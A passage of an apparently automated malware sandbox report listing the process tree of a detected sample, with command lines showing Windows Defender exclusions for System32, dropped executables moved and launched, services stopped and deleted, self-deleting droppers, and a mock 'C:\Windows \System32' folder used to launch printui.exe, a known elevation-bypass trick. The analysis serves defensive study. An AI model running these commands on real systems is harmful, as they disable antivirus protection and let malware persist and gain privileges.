Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	06:15:00
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	06:15:00
Start date:	20/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	06:15:00
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	06:15:01
Start date:	20/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	06:15:09
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c timeout /t 5 /nobreak && move "C:\Windows\System32\winsvcf\Z753638.exe" "C:\Windows\System32" && start "" "C:\Windows\System32\Z753638.exe"
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	06:15:09
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	06:15:09
Start date:	20/09/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 5 /nobreak
Imagebase:	0x7ff7e18f0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	06:15:11
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c timeout /t 5 /nobreak && move "C:\Windows\System32\winsvcf\Z369335.exe" "C:\Windows\System32" && start "" "C:\Windows\System32\Z369335.exe"
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	06:15:11
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	06:15:11
Start date:	20/09/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 5 /nobreak
Imagebase:	0x7ff7e18f0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	06:15:14
Start date:	20/09/2024
Path:	C:\Windows\System32\Z753638.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\Z753638.exe"
Imagebase:	0x7ff7a1410000
File size:	15'187'968 bytes
MD5 hash:	D3A3F2DB2AA3FD494F3E67601087AB23
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	06:15:16
Start date:	20/09/2024
Path:	C:\Windows\System32\Z369335.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\Z369335.exe"
Imagebase:	0x7ff613160000
File size:	15'187'968 bytes
MD5 hash:	D3A3F2DB2AA3FD494F3E67601087AB23
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	06:15:18
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	06:15:18
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	06:15:18
Start date:	20/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	06:15:19
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	06:15:19
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	06:15:19
Start date:	20/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	06:15:26
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c sc stop Z295699
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	06:15:26
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	06:15:26
Start date:	20/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop Z295699
Imagebase:	0x7ff717f10000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	06:15:26
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c sc stop Z295699
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	06:15:26
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	06:15:26
Start date:	20/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop Z295699
Imagebase:	0x7ff717f10000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	06:15:27
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c sc delete Z295699
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	06:15:27
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	06:15:27
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c sc delete Z295699
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	06:15:27
Start date:	20/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc delete Z295699
Imagebase:	0x7ff717f10000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	06:15:27
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	06:15:27
Start date:	20/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc delete Z295699
Imagebase:	0x7ff717f10000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	06:15:28
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c sc stop Z422697
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	06:15:28
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	82
Start time:	06:15:28
Start date:	20/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop Z422697
Imagebase:	0x7ff717f10000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	83
Start time:	06:15:28
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c sc stop Z422697
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	84
Start time:	06:15:28
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	85
Start time:	06:15:28
Start date:	20/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop Z422697
Imagebase:	0x7ff717f10000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	86
Start time:	06:15:29
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c sc delete Z422697
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	87
Start time:	06:15:29
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	88
Start time:	06:15:30
Start date:	20/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc delete Z422697
Imagebase:	0x7ff717f10000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	89
Start time:	06:15:30
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c sc delete Z422697
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	90
Start time:	06:15:30
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	91
Start time:	06:15:30
Start date:	20/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc delete Z422697
Imagebase:	0x7ff717f10000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	92
Start time:	06:15:31
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c start "" "C:\Windows\System32\usvcinsta64.exe"
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	93
Start time:	06:15:31
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	94
Start time:	06:15:32
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c start "" "C:\Windows\System32\usvcinsta64.exe"
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	95
Start time:	06:15:32
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	96
Start time:	06:15:32
Start date:	20/09/2024
Path:	C:\Windows\System32\usvcinsta64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\usvcinsta64.exe"
Imagebase:	0x7ff621e90000
File size:	14'701'056 bytes
MD5 hash:	43C6FE029E5715FD35DA5197439DF163
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 65%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	97
Start time:	06:15:32
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c timeout /t 10 /nobreak && del "C:\Windows\System32\Z369335.exe"
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	98
Start time:	06:15:32
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	99
Start time:	06:15:32
Start date:	20/09/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 10 /nobreak
Imagebase:	0x7ff7e18f0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	100
Start time:	06:15:33
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c timeout /t 10 /nobreak && del "C:\Windows\System32\Z753638.exe"
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	101
Start time:	06:15:33
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	102
Start time:	06:15:33
Start date:	20/09/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 10 /nobreak
Imagebase:	0x7ff7e18f0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	103
Start time:	06:15:33
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	104
Start time:	06:15:33
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	105
Start time:	06:15:33
Start date:	20/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	106
Start time:	06:15:37
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	107
Start time:	06:15:37
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	108
Start time:	06:15:37
Start date:	20/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	109
Start time:	06:15:40
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c mkdir "\\?\C:\Windows \System32"
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	110
Start time:	06:15:40
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	111
Start time:	06:15:40
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c start "" "C:\Windows \System32\printui.exe"
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	112
Start time:	06:15:40
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c timeout /t 10 /nobreak && del "C:\Windows\System32\usvcinsta64.exe"
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	113
Start time:	06:15:40
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	114
Start time:	06:15:40
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	115
Start time:	06:15:40
Start date:	20/09/2024
Path:	C:\Windows \System32\printui.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows \System32\printui.exe"
Imagebase:	0x7ff6a61d0000
File size:	64'000 bytes
MD5 hash:	2FC3530F3E05667F8240FC77F7486E7E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	116
Start time:	06:15:41
Start date:	20/09/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 10 /nobreak
Imagebase:	0x7ff7e18f0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	117
Start time:	06:15:41
Start date:	20/09/2024
Path:	C:\Windows \System32\printui.exe
Wow64 process (32bit):	false
